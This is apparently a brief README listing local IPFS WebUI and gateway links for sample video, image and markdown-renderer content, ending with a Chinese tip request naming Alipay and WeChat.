open http://localhost:5001/webui


Browse:

WebUI:

http://localhost:5001/webui

video:

http://localhost:8080/ipfs/QmVc6zuAneKJzicnJpfrqCH9gSy6bz54JhcypfJYhGUFQu/play#/ipfs/QmTKZgRNwDNZwHtJSjCp6r5FYefzpULfy37JvMt9DwvXse

images:

http://localhost:8080/ipfs/QmZpc3HvfjEXvLWGQPWbHk3AjD5j8NEN4gmFN8Jmrd5g83/cs

markdown renderer app:

http://localhost:8080/ipfs/QmX7M9CiYXjVeFnkfVGf3y5ixTZ2ACeSGyL1vBJY1HvQPp/mdown

请我喝杯咖啡吧~

支付宝
微信